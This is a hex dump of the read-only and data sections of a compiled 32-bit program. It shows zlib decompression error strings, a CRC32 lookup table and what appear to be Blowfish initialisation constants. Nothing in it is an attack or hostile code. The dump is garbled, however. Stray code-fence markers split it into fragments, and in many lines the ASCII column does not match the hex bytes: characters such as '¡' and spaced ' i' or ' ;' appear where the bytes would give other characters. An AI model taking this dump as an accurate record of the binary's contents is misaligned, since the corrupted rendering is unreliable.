08076a10    00000000 00000000 00000000 00000000    ................
08076a20    696e636f 6d706c65 74652064 796e616d    incomplete dynam
08076a30    69632062 6974206c 656e6774 68732074    ic bit lengths t
08076a40    72656500 00000000 00000000 00000000    ree.............
08076a50    00000000 00000000 00000000 00000000    ................
08076a60    6f766572 73756273 63726962 6564206c    oversubscribed l
08076a70    69746572 616c2f6c 656e6774 68207472    iteral/length tr
08076a80    65650000 00000000 00000000 00000000    ee..............
08076a90    00000000 00000000 00000000 00000000    ................
08076aa0    696e636f 6d706c65 7465206c 69746572    incomplete liter
08076ab0    616c2f6c 656e6774 68207472 65650000    al/length tree..
08076ac0    696e7661 6c696420 6c697465 72616c2f    invalid literal/
08076ad0    6c656e67 74682063 6f646500 696e7661    length code.inva
08076ae0    6c696420 64697374 616e6365 20636f64    lid distance cod
08076af0    65000000 00000000 00000000 00000000    e...............
08076b00    d8a80608 a7a90608 a8aa0608 3fab0608    ............?...
08076b10    28ac0608 baac0608 e0ad0608 b8ae0608    (...............
08076b20    e8ae0608 18af0608 00000000 00000000    ................
08076b30    696e7661 6c696420 64697374 616e6365    invalid distance
08076b40    20636f64 6500696e 76616c69 64206c69     code.invalid li
08076b50    74657261 6c2f6c65 6e677468 20636f64    teral/length cod
```

```
08076b60  6500                                      e.


  ; --------------------------------
  ; Contents of section .data:

08077b80   00000000 00000000 f0980708 00000000      ................
08077b90   00b60608 00000000 00000000 00000000      ................
08077ba0   00000000 00000000 00000000 00000000      ................
08077bb0   00000000 00000000 00000000 00000000      ................
08077bc0   00000000 00000000 ffffffff ffffffff      ................
08077bd0   c266b38e d3ace1f6 d0013c0f d13dbae7      .f........<..=..
08077be0   d0b31916 a5e51c05 ead80608 e2d80608      ................
08077bf0   00000000 00000000 00000000 00000000      ................
08077c00   08000000 c0e70608 00000000 00000000      ................
08077c10   00000000 00000000 17ef0608 00000000      ................
08077c20   0fef0608 01000000 01ef0608 02000000      ................
08077c30   f2ee0608 03000000 daee0608 04000000      ................
08077c40   caee0608 05000000 c0ee0608 06000000      ................
08077c50   b1ee0608 07000000 a2ee0608 08000000      ................
08077c60   8dee0608 09000000 75ee0608 0a000000      ........u.......
08077c70   63ee0608 0b000000 51ee0608 0c000000      c.......Q.......
08077c80   3aee0608 0d000000 31ee0608 1f000000      :.......1.......
08077c90   25ee0608 2b000000 1aee0608 2c000000      %...+.......,...
08077ca0   0fee0608 0e000000 05ee0608 0f000000      ................
08077cb0   faed0608 24000000 f0ed0608 25000000      ....$.......%...
08077cc0   e4ed0608 29000000 d9ed0608 28000000      ....).......(...
08077cd0   cbed0608 10000000 c1ed0608 11000000      ................
08077ce0   b4ed0608 12000000 a3ed0608 2a000000      ............*...
08077cf0   95ed0608 13000000 84ed0608 14000000      ................
08077d00   78ed0608 15000000 63ed0608 16000000      x.......c.......
08077d10   50ed0608 1a000000 38ed0608 1b000000      P.......8.......
08077d20   2ded0608 17000000 23ed0608 18000000      -.......#.......
08077d30   1bed0608 19000000 15ed0608 1c000000      ................
08077d40   0aed0608 1d000000 feec0608 1e000000      ................
08077d50   e7ec0608 20000000 d1ec0608 21000000      .... ......!...
08077d60   beec0608 22000000 abec0608 23000000      ...."......#...
08077d70   9dec0608 26000000 93ec0608 27000000      ....&......'...
08077d80   79ec0608 2d000000 60ec0608 2e000000      y...-...`......
08077d90   00000000 00000000 5eef0608 00000000      ........^......
08077da0   59ef0608 01000000 54ef0608 02000000      Y.......T.......
08077db0   4def0608 03000000 46ef0608 04000000      M.......F.......
08077dc0   3fef0608 05000000 38ef0608 06000000      ?.......8.......
08077dd0   31ef0608 07000000 2aef0608 08000000      1.......*.......
08077de0   23ef0608 09000000 1cef0608 0a000000      #...............
08077df0   00000000 00000000 00000000 00000000      ................
08077e00   00000000 00000000 00000000 00000000      ................
08077e10   00000000 00000000 01000000 00000000      ................
08077e20   ffffffff ffffffff 00000000 00000000      ................
08077e30   00000000 00000000 00000000 00e80300      ................
08077e40   00000000 00000000 00000000 00e80000      ................
08077e50   00000000 00000000 ffffffff 00000000      ................
08077e60   00000000 00000000 00000000 00000000      ................
08077e70   00000000 00000000 00000000 00000000      ................
08077e80   00000000 00000000 00000000 96300777      .............0.w
08077e90   2c610eee ba510999 19c46d07 8ff46a70      ,a...Q...m...jp
08077ea0   35a563e9 a395649e 3288db0e a4b8dc79      5.c...d.2......y
08077eb0   1ee9d5e0 88d9d297 2b4cb609 bd7cb17e      ........+L...|.~
08077ec0   072db8e7 911dbf90 6410b71d f220b06a      .-......d.... .j
08077ed0   4871b9f3 de41be84 7dd4da1a ebe4dd6d      Hq...A..}......m
08077ee0   51b5d4f4 c785d383 56986c13 c0a86b64      Q.......V.l...kd
08077ef0   7af962fd ecc9658a 4f5c0114 d96c0663      z.b...e.O\...l.c
08077f00   633d0ffa f50d088d c8206e3b 5e10694c      c=....... n  ;^.iL
08077f10   e44160d5 727167a2 d1e4033c 47d4044b      .A`.rqg....<G..K
08077f20   fd850dd2 6bb50aa5 faa8b535 6c98b242      ....k......5l..B
08077f30   d6c9bbdb 40f9bcac e36cd832 755cdf45      ....@...l.2u\.E
08077f40   cf0dd6dc 593dd1ab ac30d926 3a00de51      ....Y=...0.&:..Q
08077f50   8051d7c8 1661d0bf b5f4b421 23c4b356      .Q...a.....!#..V
08077f60   9995bacf 0fa5bdb8 9eb80228 0888055f      ...........(..._
08077f70   b2d90cc6 24e90bb1 877c6f2f 114c6858      ....$....|o/.LhX
08077f80   ab1d61c1 3d2d66b6 9041dc76 0671db01      ..a.=-f..A.v.q..
08077f90   bc20d298 2a10d5ef 8985b171 1fb5b606      . ..*......q....
08077fa0   a5e4bf9f 33d4b8e8 a2c90778 34f9000f      ....3....x4...
08077fb0   8ea80996 18980ee1 bb0d6a7f 2d3d6d08      ..........j.-=m.
08077fc0   976c6491 015c63e6 f4516b6b 62616c1c      .ld..\c..Qkkbal.
08077fd0   d8306585 4e0062f2 ed95066c 7ba5011b      .0e.N.b....l{..
08077fe0   c1f40882 57c40ff5 c6d9b065 50e9b712      ....W....eP...
08077ff0   eab8be8b 7c88b9fc df1ddd62 492dda15      ....|......bI-..
08078000   f37cd38c 654cd4fb 5861b24d ce51b53a      .|..eL..Xa.M.Q.:
08078010   7400bca3 e230bbd4 41a5df4a d795d83d      t....0..A..J...=
08078020   6dc4d1a4 fbf4d6d3 6ae96943 fcd96e34      m.......j.iC..n4
08078030   468867ad d0b860da 732d0444 e51d0333      F.g...`.s-.D...3
08078040   5f4c0aaa c97c0ddd 3c710550 aa410227      _L...|..<q.P.A.'
08078050   10100bbe 86200cc9 25b56857 b3856f20      ..... ..%.hW..o
```

```
08078060  09d466b9 9fe461ce 0ef9de5e 98c9d929   ..f...a....^...)
08078070  2298d0b0 b4a8d7c7 173db359 810db42e   "........=.Y....
08078080  3b5cbdb7 ad6cbac0 2083b8ed b6b3bf9a    ¡\...l. ......
08078090  0ce2b603 9ad2b174 3947d5ea af77d29d   .......t9G...w..
080780a0  1526db04 8316dc73 120b63e3 843b6494   .&.....s..c..  ¡d.
080780b0  3e6a6d0d a85a6a7a 0bcf0ee4 9dff0993   >jm..Zjz........
080780c0  27ae000a b19e077d 44930ff0 d2a30887   '......}D.......
080780d0  68f2011e fec20669 5d5762f7 cb676580   h......i]Wb..ge.
080780e0  71366c19 e7066b6e 761bd4fe e02bd389   q6l...knv....+..
080780f0  5a7ada10 cc4add67 6fdfb9f9 f9efbe8e   Zz...J.go.......
08078100  43beb717 d58eb060 e8a3d6d6 7e93d1a1   C......`....~...
08078110  c4c2d838 52f2df4f f167bbd1 6757bca6   ...8R..O.g..gW..
08078120  dd06b53f 4b36b248 da2b0dd8 4c1b0aaf   ...?K6.H.+..L...
08078130  f64a0336 607a0441 c3ef60df 55df67a8   .J.6`z.A..`.U.g.
08078140  ef8e6e31 79be6946 8cb361cb 1a8366bc   ..n1y.iF..a...f.
08078150  a0d26f25 36e26852 95770ccc 03470bbb   ..o%6.hR.w...G..
08078160  b9160222 2f260555 be3bbac5 280bbdb2   ..."/&.U.  ¡..(...
08078170  925ab42b 046ab35c a7ffd7c2 31cfd0b5   .Z.+.j.\....1...
08078180  8b9ed92c 1daede5b b0c2649b 26f263ec   ...,...[..d.&.c.
08078190  9ca36a75 0a936d02 a906099c 3f360eeb   ..ju..m....?6..
080781a0  85670772 13570005 824abf95 147ab8e2   .g.r.W...J...z..
080781b0  ae2bb17b 381bb60c 9b8ed292 0dbed5e5   .+.{8..........
080781c0  b7efdc7c 21dfdb0b d4d2d386 42e2d4f1   ...|!......B...
080781d0  f8b3dd68 6e83da1f cd16be81 5b26b9f6   ...hn.......[&..
080781e0  e177b06f 7747b718 e65a0888 706a0fff   .w.owG...Z..pj..
080781f0  ca3b0666 5c0b0111 ff9e658f 69ae62f8   .  ¡.f\.....e.i.b.
08078200  d3ff6b61 45cf6c16 78e20aa0 eed20dd7   ..kaE.l.x.......
08078210  5483044e c2b30339 612667a7 f71660d0   T..N...9a&g...`.
08078220  4d476949 db776e3e 4a6ad1ae dc5ad6d9   MGiI.wn>Jj...Z..
08078230  660bdf40 f03bd837 53aebca9 c59ebbde   f..@.  ¡.7S.......
08078240  7fcfb247 e9ffb530 1cf2bdbd 8ac2baca   ...G...0.......
08078250  3093b353 a6a3b424 0536d0ba 9306d7cd   0..S...$.6......
08078260  2957de54 bf67d923 2e7a66b3 b84a61c4   )W.T.g.#.zf..Ja.
08078270  021b685d 942b6f2a 37be0bb4 a18e0cc3   ..h].+o*7.......
08078280  1bdf055a 8def022d 00000000 573d0708   ...Z...-....W=..
08078290  523d0708 4e3d0708 493d0708 3a3d0708   R=..N=..I=..:=..
080782a0  323d0708 293d0708 203d0708 00000000   2=..)=.. =......
080782b0  00000000 ffffffff 00000000 00000000   ................
080782c0  886a3f24 d308a385 2e8a1913 44737003   .j?$.......Dsp.
080782d0  223809a4 d0319f29 98fa2e08 896c4eec   "8...1.)....lN.
080782e0  e6212845 7713d038 cf6654be 6c0ce934   .!(Ew..8.fT.l..4
080782f0  b729acc0 dd507cc9 b5d5843f 170947b5   .)...P|....?..G.
08078300  d9d51692 1bfb7989 00000000 00000000   ......y.........
08078310  00000000 00000000 00000000 00000000   ................
08078320  a60b31d1 acb5df98 db72fd2f b7df1ad0   ..1......r./....
08078330  edafe1b8 967e266a 45907cba 997f2cf1   .....~&jE.|...,.
08078340  4799a124 f76c91b3 e2f20108 16fc8e85   G..$.l..........
08078350  d8206963 694e5771 a3fe58a4 7e3d93f4   . iciNWq..X.~=..
08078360  8f74950d 58b68e72 58cd8b71 ee4a1582   .t..X..rX..q.J..
08078370  1da4547b b5595ac2 39d5309c 1360f22a   ..T{.YZ.9.0..`.*
08078380  23b0d1c5 f0856028 187941ca ef38dbb8   #.....`(.yA..8..
08078390  b0dc798e 0e183a60 8b0e9e6c 3e8a1eb0   ..y...:`...l>...
080783a0  c17715d7 274b31bd da2faf78 605c6055   .w..'K1../.x`\`U
080783b0  f32555e6 94ab55aa 62984857 4014e863   .%U...U.b.HW@..c
080783c0  6a39ca55 b610ab2a 345cccb4 cee84111   j9.U...*4\....A.
080783d0  af8654a1 93e9727c 1114eeb3 2abc6f63   ..T...r|....*.oc
080783e0  5dc5a92b f6311874 163e5cce 1e93879b   ]..+.1.t.>\.....
080783f0  33bad6af 5ccf246c 8153327a 77869528   3...\.$l.S2zw..(
08078400  98488f3b afb94b6b 1be8bfc4 93212866   .H.  ¡..Kk....!(f
08078410  cc09d861 91a921fb 60ac7c48 3280ec5d   ...a..!.`.|H2..]
08078420  5d5d84ef b17585e9 022326dc 881b65eb   ]]...u...#&...e.
08078430  813e8923 c5ac96d3 f36f6d0f 3942f483   .>.#.....om.9B..
08078440  82440b2e 042084a4 4af0c869 5e9b1f9e   .D.....J..i^...
08078450  4268c621 9a6ce9f6 619c0c67 f088d3ab   Bh.!.l..a..g....
08078460  d2a0516a 682f54d8 28a70f96 a33351ab   ..Qjh/T.(....3Q.
08078470  6c0bef6e e43b7a13 50f03bba 982afb7e   l..n.  ¡z.P.¡..*.~
08078480  1d65f1a1 7601af39 3e59ca66 880e4382   .e..v..9>Y.f..C.
08078490  1986ee8c b49f6f45 c3a5847d be5e8b3b   ......oE..}.^.  ¡
080784a0  d8756fe0 7320c185 9f441a40 a66ac156   .uo.s ...D.@.j.V
080784b0  62aad34e 06773f36 72dffe1b 3d029b42   b..N.w?6r...=..B
080784c0  24d7d037 48120ad0 d3ea0fdb 9bc0f149   $..7H..........I
080784d0  c9725307 7b1b9980 d879d425 f7dee8f6   .rS.{....y.%....
080784e0  1a50fee3 3b4c79b6 bde06c97 ba06c004   .P..  ¡Ly...l.....
080784f0  b64fa9c1 c4609f40 c29e5c5e 63246a19   .O...`.@..\^c$j.
08078500  af6ffb68 b5536c3e ebb23913 6fec523b   .o.h.Sl>..9.o.R  ¡
08078510  1f51fc6d 2c95309b 444581cc 09bd5eaf   .Q.m,.0.DE....^.
08078520  04d0e3be fd4a33de 07280f66 b34b2e19   .....J3..(.f.K..
08078530  57a8cbc0 0f74c845 395f0bd2 dbfbd3b9   W....t.E9_......
08078540  bdc07955 0a32601a c600a1d6 79722c40   ..yU.2`.....yr,@
08078550  fe259f67 cca31ffb f8e9a58e f82232db   .%.g........"2.
08078560  df16753c 156b61fd c81e502f ab5205ad   ..u<.ka...P/.R..
08078570  fab53d32 608723fd 487b3153 82df003e   ..=2`.#.H{1S...>
08078580  bb575c9e a08c6fca 2e56871a db6917df   .W\...o..V...i..
08078590  f6a842d5 c3ff7e28 c63267ac 73554f8c   ..B...~(.2g.sUO.
```

```
080785a0  b0275b69 c858cabb 5da3ffe1 a011f0b8  .'[i.X..].......
080785b0  983dfa10 b88321fd 6cb5fc4a 5bd3d12d  .=....!.l..J[..-
080785c0  79e4539a 6545f8b6 bc498ed2 9097fb4b  y.S.eE...I.....K
080785d0  daf2dde1 337ecba4 4113fb62 e8c6e4ce  ....3~..A..b....
080785e0  daca20ef 014c7736 fe9e7ed0 b41ff12b  .. ..Lw6..~....+
080785f0  4ddadb95 989190ae 718eadea a0d5936b  M.......q......k
08078600  d0d18ed0 e025c7af 2f5b3c8e b794758e  .....%../[<...u.
08078610  fbe2f68f 642b12f2 12b88888 1cf00d90  ....d+.........
08078620  a05ead4f 1cc38f68 91f1cfd1 adc1a8b3  .^.O...h........
08078630  18222f2f 77170ebe fe2d75ea a11f028b  ."//w....-u.....
08078640  0fcca0e5 e8746fb5 d6f3ac18 99e289ce  .....to........
08078650  e04fa8b4 b7e013fd 813bc47c d9a8add2  .O.......  i.|....
08078660  66a25f16 05779580 1473cc93 77141a21  f._..w...s..w..!
08078670  6520ade6 86fab577 f54254c7 cf359dfb  e ....w.BT..5..
08078680  0cafcdeb a0893e7b d31b41d6 497e1eae  ......>{..A.I~..
08078690  2d0e2500 5eb37120 bb006822 afe0b857  -.%.^.q ..h"...W
080786a0  9b366424 1eb909f0 1d916355 aaa6df59  .6d$......cU...Y
080786b0  8943c178 7f535ad9 a25b7d20 c5b9e502  .C.x.SZ..[} ....
080786c0  76032683 a9cf9562 6819c811 414a734e  v.&....bh...AJsN
080786d0  ca2d47b3 4aa9147b 5200511b 1529539a  .-G.J..{R.Q..)S.
080786e0  3f570fd6 e4c69bbc 76a4602b 0074e681  ?W......v.`+.t..
080786f0  b56fba08 1fe91b57 6bec96f2 15d90d2a  .o.....Wk......*
08078700  216563b6 b6f9b9e7 2e0534ff 645685c5  !ec......4.dV..
08078710  5d2db053 a18f9fa9 9947ba08 6a07856e  ]-.S.....G..j..n
08078720  e9707a4b 4429b3b5 2e0975db 232619c4  .pzKD)....u.#&..
08078730  b0a66ead 7ddfa749 b860ee9c 66b2ed8f  ..n.}..I.`..f...
08078740  718caaec ff179a69 6c526456 e19eb1c2  q......ilRdV....
08078750  a5023619 294c0975 401359a0 3e3a18e4  ..6.)L.u@.Y.>:..
08078760  9a98543f 659d425b d6e48f6b d63ff799  ..T?e.B[...k.?..
08078770  079cd2a1 f530e8ef e6382d4d c15d25f0  .....0...8-M.]%.
08078780  8620dd4c 26eb7084 c6e98263 5ecc1e02  . .L&.p....c^...
08078790  3f6b6809 c9efba3e 1418973c a1706a6b  ?kh....>...<.pjk
080787a0  84357f68 86e2a052 05539cb7 370750aa  .5.h...R.S..7.P.
080787b0  1c84073e 5caede7f ec447d8e b8f21657  ...>\....D}....W
080787c0  37da3ab0 0d0c50f0 041f1cf0 ffb30002  7.:...P.........
080787d0  1af50cae b274b53c 587a8325 bd2109dc  .....t.<Xz.%.!..
080787e0  f91391d1 f62fa97c 73473294 0147f522  ....../.|sG2..G."
080787f0  81e5e53a dcdac237 3476b5c8 a7ddf39a  ...:...74v......
08078800  466144a9 0e03d00f 3ec7c8ec 411e75a4  FaD.....>...A.u.
08078810  99cd38e2 2f0eea3b a1bb8032 31b33e18  ..8./..  i...21.>.
08078820  388b544e 08b96d4f 030d426f bf040af6  8.TN..mO..Bo....
08078830  9012b82c 797c9724 72b07956 af89afbc  ...,y|.$r.yV....
08078840  1f779ade 100893d9 12ae8bb3 2e3fcfdc  .w...........?..
08078850  1f721255 24716b2e e6dd1a50 87cd849f  .r.U$qk....P....
08078860  1847587a 17da0874 bc9a9fbc 8c7d4be9  .GXz...t.....}K.
08078870  3aec7aec fa1d85db 66430963 d2c364c4  :.z....fC.c..d.
08078880  47181cef 08d91532 373b43dd 16bac224  G......27  iC....$
08078890  434da112 51c4652a 02009450 dde43a13  CM..Q.e*...P..:.
080788a0  9ef8df71 554e3110 d677ac81 9b19115f  ...qUN1..w....._
080788b0  f1563504 6bc7a3d7 3b18113c 09a52459  .V5.k...  i..<..$Y
080788c0  ede68ff2 fafbf197 2cbfba9e 6e3c151e  .........,...n<..
080788d0  7045e386 b16fe9ea 0a5e0e86 b32a3e5a  pE...o...^...*>Z
080788e0  1ce71f77 fa063d4e b9dc6529 0f1de799  ...w..=N..e)....
080788f0  d6893e80 25c86652 78c94c2e 6ab3109c  ..>.%.fRx.L.j...
08078900  ba0e15c6 78eae294 533cfca5 f42d0a1e  ....x...S<..-..
08078910  a74ef7f2 3d2b1d36 0f263919 6079c219  .N..=+.6.&9.`y..
08078920  08a72352 b61213f7 6efeadeb 661fc3ea  ..#R....n...f...
08078930  9545bce3 83c87ba6 d1377fb1 28ff8c01  .E....{..7..(...
08078940  efdd32c3 a55a6cbe 85215865 0298ab68  ..2..Zl..!Xe...h
08078950  0fa5ceee 3b952fdb ad7def2a 842f6e5b  ....  i./..}.*./n[
08078960  28b62115 70610729 7547ddec 10159f61  (.!.pa.)uG.....a
08078970  30a8cc13 96bd61eb 1efe3403 cf6303aa  0.....a...4..c..
08078980  905c73b5 39a2704c 0b9e9ed5 14deaacb  .\s.9.pL........
08078990  bc86ccee a72c6260 ab5cab9c 6e84f3b2  .....,b`.\..n...
080789a0  af1e8b64 caf0bd19 b96923a0 50bb5a65  ...d.....i#.P.Ze
080789b0  325a6840 b3b42a3c d5e99e31 f7b821c0  2Zh@..*<...1..!.
080789c0  190b549b 99a05f87 7e99f795 a87d3d62  ..T..._.~....}=b
080789d0  9a8837f8 772de397 5f93ed11 81126816  ..7.w-.._.....h.
080789e0  2988350e d61fe6c7 a1dfde96 99ba5878  ).5.........Xx
080789f0  a584f557 6372221b ffc3839b 9646c21a  ...Wcr"......F..
08078a00  eb0ab3cd 54302e53 e448d98f 2831bc6d  ....T0.S.H..(1.m
08078a10  eff2eb58 eaffc634 61ed28fe 733c7cee  ...X...4a.(.s<|.
08078a20  d9144a5d e3b764e8 145d1042 e0133e20  ..J]..d..].B..>
08078a30  b6e2ee45 eaabaaa3 154f6cdb d04fcbfa  ...E.....Ol..O..
08078a40  42f442c7 b5bb6aef 1d3b4f65 0521cd41  B.B...j.  iOe.!.A
08078a50  9e791ed8 c74d8586 6a474be4 5062813d  .y...M..jGK.Pb.=
08078a60  f2a162cf 46268d5b a08388fc a3b6c7c1  ..b.F&.[........
08078a70  c324157f 9274cb69 0b8a8447 85b29256  .$...t.i...G...V
08078a80  00bf5b09 9d4819ad 74b16214 000e8223  ..[..H..t.b....#
08078a90  2a8d4258 eaf5550c 3ef4ad1d 61703f23  *.BX..U.>...ap?#
08078aa0  92f07233 417e938d f1ec5fd6 db3b226c  ..r3A~...._..  i"l
08078ab0  5937de7c 6074eecb a7f28540 6e3277ce  Y7.|`t....@n2w.
08078ac0  848007a6 9e50f819 55d8efe8 3597d961  .....P..U...5..a
08078ad0  aaa769a9 c2060cc5 fcab045a dcca0b80  ..i........Z....
```

```
08078ae0   2e7a449e 843445c3 0567d5fd c99e1e0e   .zD..4E..g......
08078af0   d3db73db cd885510 79da5f67 404367e3   ..s...U.y._g@Cg.
08078b00   6534c4c5 d8383e71 9ef8283d 20ff6df1   e4...8>q..(= .m.
08078b10   e7213e15 4a3db08f 2b9fe3e6 f7ad83db   .!>.J=..+.......
08078b20   685a3de9 f7408194 1c264cf6 34296994   hZ=..@...&L.4)i.
08078b30   f7201541 f7d40276 2e6bf4bc 6800a2d4   . .A...v.k..h...
08078b40   712408d4 6af42033 b7d4b743 af610050   q$..j. 3...C.a.P
08078b50   2ef6391e 46452497 744f2114 40888bbf   ..9.FE$.tO!.@...
08078b60   1dfc954d af91b596 d3ddf470 452fa066   ...M.......pE/.f
08078b70   ec09bcbf 8597bd03 d06dac7f 0485cb31   .........m.....1
08078b80   b327eb96 4139fd55 e64725da 9a0acaab   .'..A9.U.G%.....
08078b90   25785028 f4290453 da862c0a fb6db6e9   %xP(.).S..,..m..
08078ba0   6214dc68 006948d7 a4c00e68 ee8da127   b..h.iH....h...'
08078bb0   a2fe3f4f 8cad87e8 06e08cb5 b6d6f47a   ..?O...........z
08078bc0   7c1eceaa ec5f37d3 99a378ce 422a6b40   |...._7...x.B*k@
08078bd0   359efe20 b985f3d9 abd739ee 8b4e123b   5.. .....9..N.  ;
08078be0   f7fac91d 56186d4b 3166a326 b297e3ea   ....V.mK1f.&....
08078bf0   74fa6e3a 32435bdd f7e74168 fb2078ca   t.n:2C[...Ah. x.
08078c00   4ef50afb 97b3fed8 ac564045 279548ba   N........V@E'.H.
08078c10   3a3a5355 878d8320 b7a96bfe 4b9596d0   ::SU... ..k.K...
08078c20   bc67a855 589a15a1 6329a9cc 33dbe199   .g.UX...c)..3...
08078c30   564a2aa6 f925313f 1c7ef45e 7c312990   VJ*..%1?.~.^|1).
08078c40   02e8f8fd 702f2704 5c15bb80 e32c2805   ....p/'.\....,(.
08078c50   4815c195 226dc6e4 3f13c148 dc860fc7   H..."m..?..H....
08078c60   eec9f907 0f1f0441 a4794740 176e885d   .......A.yG@.n.]
08078c70   eb515f32 d1c09bd5 8fc1bcf2 64351141   .Q_2.......d5.A
08078c80   34787b25 609c2a60 a3e8f8df 1b6c631f   4x{%`.*`.....lc.
08078c90   c2b4120e 9e32e102 d14f66af 1581d1ca   .....2...Of.....
08078ca0   e095236b e1923e33 620b243b 22b9beee   ..#k..>3b.$  ;"...
08078cb0   0ea2b285 990dbae6 8c0c72de 28f7a22d   ........r.(..-
08078cc0   457812d0 fd94b795 62087d64 f0f5cce7   Ex......b.}d....
08078cd0   6fa34954 fa487d87 27fd9dc3 1e8d3ef3   o.IT.H}.'.....>.
08078ce0   4163470a 74ff2e99 ab6e6f3a 37fdf8f4   AcG.t...no:7...
08078cf0   60dc12a8 f8ddeba1 4ce11b99 0d6b6edb   `......L....kn.
08078d00   10557bc6 372c676d 3bd46527 04e8d0dc   .U{.7,gm  ;.e'....
08078d10   c70d29f1 a3ff00cc 920f39b5 0bed0f69   ..)......9....i
08078d20   fb9f7b66 9c7ddbce 0bcf91a0 a35e15d9   ..{f.}.......^..
08078d30   882f13bb 24ad5b51 bf79947b ebd63b76   ./..$.[Q.y.{..  ;v
08078d40   b32e3937 795911cc 97e22680 2d312ef4   ..97yY....&.-1..
08078d50   a7ad4268 3b2b6ac6 cc4c7512 1cf12e78   ..Bh  ;+j..Lu....x
08078d60   3742126a e75192b7 e6bba106 5063fb4b   7B.j.Q......Pc.K
08078d70   18106b1a faedca11 d8bd253d c9c3e1e2   ..k.......%=....
08078d80   59164244 8613120a 6eec0cd9 2aeaabd5   Y.BD...n...*...
08078d90   4e67af64 5fa886da 88e9bfbe fec3e464   Ng.d_.........d
08078da0   5780bc9d 86c0f7f0 f87b7860 4d600360   W........{x`M`.`
08078db0   4683fdd1 b01f38f6 04ae4577 ccfc36d7   F.....8...Ew..6.
08078dc0   336b4283 71ab1ef0 874180b0 5f5e003c   3kB.q....A.._^.<
08078dd0   be57a077 24aee8bd 99424655 612e58bf   .W.w$....BFUa.X.
08078de0   8ff4584e a2fdddf2 38ef74f4 c2bd8987   ..XN...8.t.....
08078df0   c3f96653 748eb3c8 55f275b4 b9d9fc46   ..fSt...U.u....F
08078e00   6126eb7a 84df1d8b 790e6a84 e2955f91   a&.z....y.j..._.
08078e10   8e596e46 7057b420 9155d58c 4cde02c9   .YnFpW. .U..L...
08078e20   e1ac0bb9 d00582bb 4862a811 9ea97475   ........Hb....tu
08078e30   b6197fb7 09dca9e0 a1092d66 334632c4   ..........-f3F2.
08078e40   021f5ae8 8cbef009 25a0994a 10fe6e1d   ..Z......%..J..n.
08078e50   1d3db91a dfa4a50b 0ff286a1 69f16828   .=..........i.h(
08078e60   83dab7dc fe063957 9bcee2a1 527fcd4f   ......9W....R..O
08078e70   015e1150 fa8306a7 c4b502a0 27d0e60d   .^.P.......'...
08078e80   278cf89a 41863f77 064c60c3 b506a861   '...A.?w.L`....a
08078e90   287a17f0 e086f5c0 aa586000 627ddc30   (z.......X`.b}.0
08078ea0   d79ee611 63ea3823 94ddc253 3416c2c2   ....c.8#...S4...
08078eb0   56eecbbb deb6bc90 a17dfceb 761d59ce   V........}..v.Y.
08078ec0   09e4056f 88017c4b 3d0a7239 247c927c   ...o..|K=.r9$|.|
08078ed0   5f72e386 b99d4d72 b45bc11a fcb89ed3   _r....Mr.[......
08078ee0   785554ed b5a5fc08 d37c3dd8 c40fad4d   xUT......|=....M
08078ef0   5eef501e f8e661b1 d91485a2 3c13516c   ^.P...a.....<.Ql
08078f00   e7c7d56f c44ee156 cebf2a36 37c8c6dd   ...o.N.V..*67...
08078f10   34329ad7 12826392 8efa0e67 e0006040   42....c....g..`@
08078f20   37ce393a cff5fad3 3777c2ab 1b2dc55a   7.9:....7w...-.Z
08078f30   9e67b05c 4237a34f 402782d3 be9bbc99   .g.\B7.O@'......
08078f40   9d8e11d5 15730fbf 7e1c2dd6 7bc400c7   .....s..~.-.{...
08078f50   6b1b8cb7 4590a121 beb16eb2 b46e366a   k...E..!..n..n6j
08078f60   2fab4857 796e94bc d276a3c6 c8c24965   /.HWyn...v....Ie
08078f70   eef80f53 7dde8d46 1d0a73d5 c64dd04c   ...S}..F..s..M.L
08078f80   dbbb3929 5046baa9 e82695ac 04e35ebe   ..9)PF...&....^.
08078f90   f0d5faa1 9a512d6a e28cef63 22ee869a   .....Q-j...c"...
08078fa0   b8c289c0 f62e2443 aa031ea5 a4d0f29c   ......$C.......
08078fb0   ba61c083 4d6ae99b 5015e58f d65b64ba   .a..Mj..P....[d.
08078fc0   f9a22628 e13a3aa7 8695a94b e96255ef   ..&(.::....K.bU.
08078fd0   d3ef2fc7 daf752f7 696f043f 590afa77   ../..R.io.?Y..w
08078fe0   15a9e480 0186b087 ade6099b 93e53e3b   .............>  ;
08078ff0   5afd90e9 97d7349e d9b7f02c 518b2b02   Z.....4.....Q.+.
08079000   3aacd596 7da67d01 d63ecfd1 282d7d7c   :...}.}..>..(-}|
08079010   cf259f1f 9bb8f2ad 72b4d65a 4cf5885a   .%......r..ZL..Z
```

```
08079020   71ac29e0 e6a519e0 fdacb047 9bfa93ed    q.)........G....
08079030   8dc4d3e8 cc573b28 2966d5f8 282e1379    .....W  ;()f..(..y
08079040   91015f78 556075ed 440e96f7 8c5ed3e3    .._xU`u.D....^..
08079050   d46d0515 ba6df488 2561a103 bdf06405    .m...m..%a....d.
08079060   159eebc3 a257903c ec1a2797 2a073aa9    .....W.<..'.*.:.
08079070   9b6d3f1b f521631e fb669cf5 19f3dc26    .m?..!c..f.....&
08079080   28d93375 f5fd55b1 82345603 bb3cba8a    (.3u..U..4V..<..
08079090   11775128 f8d90ac2 6751ccab 5f92adcc    .wQ(....gQ.._...
080790a0   5117e84d 8edc3038 62589d37 91f92093    Q..M..08bX.7...
080790b0   c2907aea ce7b3efb 64ce2151 32be4f77    ..z..{>.d.!Q2.Ow
080790c0   7ee3b6a8 463d29c3 6953de48 80e61364    ~...F=).iS.H...d
080790d0   1008aea2 24b26ddd fd2d8569 66210709    ....$.m..-.if!..
080790e0   0a469ab3 ddc04564 cfde6c58 aec8201c    .F....Ed..lX...
080790f0   ddf7be5b 408d581b 7f01d2cc bbe3b46b    ...[@.X.......k
08079100   7e6aa2dd 45ff593a 440a353e d5cdb4bc    ~j..E.Y:D.5>....
08079110   a8ceea72 bb8464fa ae12668d 476f3cbf    ...r..d...f.Go<.
08079120   63e49bd2 9e5d2f54 1b77c2ae 70634ef6    c....]/T.w..pcN.
08079130   8d0d0e74 57135be7 711672f8 5d7d53af    ...tW.[.q.r.]}S.
08079140   08cb4040 cce2b44e 6a46d234 84af1501    ..@@...NjF.4....
08079150   2804b0e1 1d3a9895 b49fb806 48a06ece    (....:......H.n.
08079160   823b3f6f 82ab2035 4b1d1a01 f8277227    .  ;?o.. 5K....'r'
08079170   b1601561 dc3f93e7 2b793abb bd254534    .`.a.?..+y:..%E4
08079180   e13988a0 4b79ce51 b7c9322f c9ba1fa0    .9..Ky.Q..2/....
08079190   7ec81ce0 f6d1c7bc c31101cf c7aae8a1    ~...............
